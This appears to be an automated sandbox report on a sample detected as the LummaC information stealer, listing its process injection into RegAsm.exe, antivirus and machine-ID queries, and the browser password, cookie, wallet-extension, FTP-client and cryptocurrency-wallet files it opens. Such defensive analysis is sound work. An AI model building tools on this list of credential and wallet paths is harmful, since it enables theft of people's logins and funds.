Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11E8008	Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6781.tmp" "c:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP"	Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Queries volume information: C:\Users\user\Desktop\ZjH6H6xqo7.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
